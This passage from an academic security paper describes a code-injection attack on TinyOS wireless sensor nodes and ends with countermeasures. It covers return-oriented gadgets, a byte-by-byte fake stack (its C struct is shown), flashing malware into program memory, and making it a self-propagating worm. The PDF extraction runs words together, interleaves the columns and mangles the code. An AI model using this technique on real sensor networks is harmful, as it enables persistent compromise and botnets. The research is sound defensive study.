ited,weneededtoinjectitbyte-by-byteasdescribedinSec-
Infact,thelargerthepayloadthelowerthechanceofbeing
tion5.3.2. Themainideaistosplitthefakestackintopieces
abletoexploitit. Thereareactuallytwofactorsthatimpact
ofonebyteandinjecteachofthemindependentlyusingthe
thesuccess of a gadget chain.
Injection meta-gadget described in Section 6.2.
• The depth of the stack: if the memory space between EachbyteBiisinjectedataddressFSP+ibysendingthe
the beginning of the exploited buffer in the stack and specially-crafted packetdisplayedinFigure2(b). Whenthe
theendofthephysicalmemory(i.e. address0x1100)is packet is received it overwrites the return address with the
smaller than the size of the malicious packet payload, address of the Injection meta-gadget (i.e. address 0x56b0).
theinjection cannot obviously takeplace. TheInjection meta-gadgetisthenexecutedandcopiesbyte
BiintotheaddressFSP+i. Whenthemeta-gadgetreturns
• Maximum packet length: sinceTinyOS maximumpa- it reboots the sensor. The whole fake stack is injected by
cket length is set, by default, to 28 bytes, it is impos- sending 16+sizeM packets, where sizeM is the size of the
malware.
sibletoinjectapayloadlargerthan28bytes. Gadgets
that require payload larger than 28 bytes cannot be 6.4 Flashing themalwareinto program
invoked. memory
Figure6showsthelengthofInjection meta-gadget,found Once the fake stack is injected in the data memory, the
bytheautomated tool, fordifferenttest anddemonstration malware needs to be copied in flash memory. As explained
applications provided by TinyOS 2.0.2. TinyPEDS is an previously, this can be achieved using the Reprogramming
applicationdevelopedfortheEuropeanprojectUbisec&Sens meta-gadget described in Section 6.2. This reprogramming
[29]. taskcanbetriggeredbyasmallspecially-craftedpacketthat
Inourexperiments,weusedamodifiedversionoftheRa- overwritesthesavedreturnaddressofthefunctionwiththe
dioCountToLedsapplication3. Ouranalyserfoundthreedif- address of the Reprogramming meta-gadget. This packet
ferentimplementationsfortheInjectionmeta-gadget. These also needs to inject into the stack the address of the fake
implementationsusepacketsofrespectivesize17,21and27 stackandtheaddressoftheGadget2oftheReprogramming
bytes. We chose the implementation with the 17-byte pay- meta-gadget. The payload of the reprogramming packet is
load, which we were able to reduce to 15 bytes with some shown in Figure 5. At the reception of this packet,the tar-
manual optimizations. get sensor executes the Reprogramming meta-gadget. The
The Reprogramming meta-gadget depends only on the malware, that is part of the fake stack, is then flashed into
bootloader code. It is therefore independent of the appli- thesensor program memory. When the meta-gadget termi-
cation loaded in the sensor. The meta-gadget presented in natesitreturnstotheaddressofthemalware,whichisthen
figure 4 can therefore be used with any application as long executed.
as the same bootloader is used. 6.5 Finalizingthe malwareinstallation
3The RadioCountToLeds has been modified in order to in- Once the malware is injected in the program memory it
troduce abufferoverflow vulnerability. must eventually be executed. If the malware is installed at
address 0 it will be executed at each reboot. However, in themalware when needed.
this case, the original application would not work anymore This approach has at least two advantages:
and the infection would easily be noticeable. This is often
• The application will run normally, thereby reducing
not desirable. If the malware is installed in a free area of
chanceof detection.
program memory, it can be activated by a buffer overflow
exploit. Thisoptioncanbeusedbytheattackertoactivate • Themalwarecanusesomeoftheexistingfunctionsof
the application. This reduces the size of the code to
inject.
typedef struct { If the malware needs to be executed periodically or upon
//Tobeusedbybottomhalfofgadget2
//theFramepointervalue16bits the execution of an internal event it can modify the sen-
uint8 t load r29; sor application in order to insert a hook. This hook can
uint8 t load r28; be installed in a function called by a timer. The malware
//4bytes loadedwiththeaddressinprogram
will be executed each time the timer fires. This operation
//memoryencodedasauint32 t
uint8 t load r17; needstomodify thelocal code (in ordertoadd thehook in
uint8 t load r16; the function). The same fake stack technique presented in
uint8 t load r15; Section 6.3 is used to locally reprogram the page with the
uint8 t load r14;
modified code that contains the hook. The only difference
//4paddingvalues
uint8 t load r13; is that, instead of loading the malicious code into the fake
uint8 t load r12; stack,theattackerloadsthepagecontainingthefunctionto
uint8 t load r11; modify, adds the hook in it, and calls the Reprogramming
uint8 t load r10;
//Numberofpagestowriteasauint32 t meta-gadget.
//mustbesetto0,inordertoexitloop Notethatoncethemalwareisinstalleditshouldpatchthe
uint8 t load r9; exploitedvulnerability(inthereceptionfunction)toprevent
uint8 t load r8;
over-infection.
uint8 t load r7;
uint8 t load r6;
6.6 Turning the malwareinto a worm
//4paddingbytes
uint8 t load r5; Theprevioussectionhasexplainedhowtoremotelyinject
uint8 t load r4;
uint8 t load r3; a malware into a sensor node. It was assumed that this
uint8 t load r2; injectionwasachievedbyanattacker. Howevertheinjected
//addressofgadget3 malware can self-propagate, i.e. beconverted intoa worm.
uint16 tretAddr execFunction;
Themainideaisthatoncethemalwareisinstalleditper-
//bootloader’sfakefunctionframestartshere,
//framepointermustpointshere formstheattackdescribedinSection6toallofitsneighbors.
//8paddingbytes Itbuildsafakestackthatcontainsitsowncodeandinjects
uint16 twordBuf; it byte-by-byte into its neighbors as explained previously.
uint16 tverify image addr;
uint16 tcrcTmp; Themain differenceisthat theinjectedcodemust notonly
uint16 tintAddr; contain themalware but also theself-propagating code, i.e.
//buffertodatapagetowritetomemory the code that buildsthe fake stack and sends thespecially-
uint8 tmalware buff[256];
craftedpackets. Theinjectedcodeislikelytobelarger. The
//pointertomalware buff
uint16 tbuff p; main limitation of theinjection techniquepresented in Sec-
//18paddingbytes tion 6 is that it can only be used to inject one page (i.e.
uint8 t r29; 256 bytes) of code. If the malware is larger than one page
uint8 t r28;
uint8 t r17; it needs to be split it into pieces of 256 bytes which should
uint8 t r16; be injected separately. We were able to implement, in our
uint8 t r15; experiments, a self-propagating worm that contains all this
uint8 t r14;
functionality in about 1 KByte.
uint8 t r13;
uint8 t r12; Furthermore, because of the packet size limitation and
uint8 t r11; the overhead introduced by the byte-injection gadget, only
uint8 t r10; one byte of the fake stack can be injected per packet. This
uint8 t r9;
uint8 t r8; results in the transmission of many malicious packets. One
uint8 t r7; alternative would be to inject an optimal gadget and then
uint8 t r6; use it to inject thefake stack several bytesat a time. Since
uint8 t r5;
thisgadget would beoptimized it would haveless overhead
uint8 t r4;
uint8 t r3; andmorebyteswouldbeavailabletoinjectusefuldata. This
uint8 t r2; techniquecouldreducethenumberofrequiredpacketsbya
//settotheaddressofthemalwareor0toreboot
factor of 10 to 20.
uint16 tretAddr;
} fake stack t;
7. POSSIBLE COUNTER-MEASURES
Figure 7: Structure used to build the fake stack. Ourattackcombinesdifferenttechniquesinordertoachieve
The total size is 305 bytes out of which up to itsgoal(codeinjection). Itfirstusesasoftwarevulnerability
256 bytes are used for the malware, 16 for the inordertoperformabufferoverflowthatsmashesthestack.
meta-gadget parameters. The remaining bytes are It then injects data, via the execution of gadgets, into the
padding, that do not need to be injected. program memory that is persistent across reboots.
// function declaration with properattributes might store in memory a buffer of data to be sent to the
void cleanup memory(void) sink). If such a feature exists it could be exploited in order
attribute ((naked)) to store the fake stack without having to use the Injection
attribute ((section(”.init8”))) meta-gadget. In this case, only the Reprogramming meta-
@spontaneous()@C();
gadgetwouldbeneededandthepresenteddefensewouldbe
ineffective.
// bss endsymbol is providedby thelinker
extern volatile void∗ bss end;
Gadgetexecutionprotection.
void cleanup memory(void){ ASLR (Address Space Layout Randomization) [26] is a
uint8 t ∗dest=& bss end;
solution that randomizes the binary code location in mem-
uint16 tcount=RAMEND−(uint16 t)& bss end;
while(count−−)∗dest++=0; oryinordertoprotectagainstreturn-into-libcattacks. Since
} sensornodesusuallycontainonlyonemonolithicprogramin
memory and the memory space is very small, ASLR would
not be effective. [16] proposes to improve ASLR by ran-
Figure8: Amemorycleanupprocedure for TinyOS. domisingthebinarycodeitself. Thisschemewouldbeadapt-
The attribute keyword indicates that this function able to wireless sensors. However, since a sensor’s address
should be called during the system initialisation. space is very limited it would still be vulnerable to brute
force attacks[24].
Any solutions that could prevent or complicate any of 8. CONCLUSIONSAND FUTUREWORK
theseoperationscouldbeusefultomitigateourattack. How-
Thispaperdescribeshowanattackercantakecontrolofa
ever, as we will see, all existing solutions havelimitations.
wireless sensornetwork. This attackcan beusedto silently
eavesdrop on the data that is being sent by a sensor, to
modifyitsconfiguration,ortoturnanetworkintoabotnet.
SoftwarevulnerabilityProtection.
Themaincontributionofourworkistoprovethefeasibil-
Safe TinyOS [5] provides protection against buffer over- ity of permanent code injection into Harvard architecture-
flow. Safe TinyOSaddsnewkeywordstothelanguage that basedsensors. Ourattackcombinesseveraltechniques,such
give the programmer the ability to specify the length of an asfakeframeinjectionandreturn-orientedprogramming,in
array. This information is used by the compiler to enforce ordertoovercomeallthebarriersresultingfromsensor’sar-
memoryboundarychecks. Thissolutionisusefulinprevent- chitectureandhardware. Wealsodescribehowtotransform
ing some errors. However, since the code still needs to be our attack intoa worm, i.e., how tomake theinjected code
manually instrumented, human errors are possible and this self-replicating.
solution is therefore not foolproof. Furthermore, software Even though packet authentication, and cryptography in
vulnerabilities other than buffer overflows can be exploited general, can make code injection more difficult, it does not
to gain control of thestack. prevent it completely. If the exploited vulnerability is lo-
cated before the authentication phase, the attack can pro-
Stack-smashingprotection. ceed simply as described in this paper. Otherwise, the at-
Stack protections, such as random canaries, are widely tacker has to corrupt one of the network nodes and use its
used to secure operating systems [6]. They are usually im- keys to propagate the malware to its neighbors. Once the
plemented in the compiler with operating system support. neighbors are infected they will infect their own neighbors.
These solutions prevent return address overwriting. How- After few roundsthewhole network will becompromised.
ever, the implementation on a sensor of such techniques Future work consists of evaluating how the worm prop-
is challenging because of their hardware and software con- agates on a large scale deployment. We are, for example,
straints. No implementation currently exists for AVR mi- interested in evaluating the potential damage when infec-
crocontrollers. tion packets are lost, as this could lead to the injection of
an incomplete image of the malware. Futurework will also
Datainjectionprotection. explore code injection optimizations and efficient counter-
A simple solution to protect against our data injection measures.
acrossrebootsistore-initializethewholedatamemoryeach
time a node reboots. This could be performed by a simple
9. ACKNOWLEDGMENTS
piece of code as the one shown in the Figure 8. Cleaning
up the memory would prevent storing data across reboots TheauthorswouldliketothankGeneTsudik,JohnSolis,
for future use. This solution comes with a slight overhead. Karim El Defrawy and the members of the INRIA PLAN-
Furthermore it does not stop attacks which are not relying ETE team for their helpful feedback and editorial sugges-
on reboots to restore clean state of the sensor as proposed tions. Wearealsogratefulforthecommentsfromtheanony-
in [12]. It is likely that our proposed attack can usesimilar mous reviewers.
state restoration mechanisms. In this case such a counter- Theworkpresentedinthispaperwassupportedinpartby
measure would havenoeffect. theEuropeanCommission withintheSTREPUbiSec&Sens
Furthermoreourattackisquitegenericanddoesnotmake project. The views and conclusions contained herein are
anyassumptionsabouttheexploitedapplications. However, thoseoftheauthorsandshouldnotbeinterpretedasrepre-
it is plausible that some applications do actually store in sentingtheofficialpoliciesorendorsementoftheUbiSec&Sens
memorydatafortheirownusage(forexampleanapplication project or theEuropean Commission.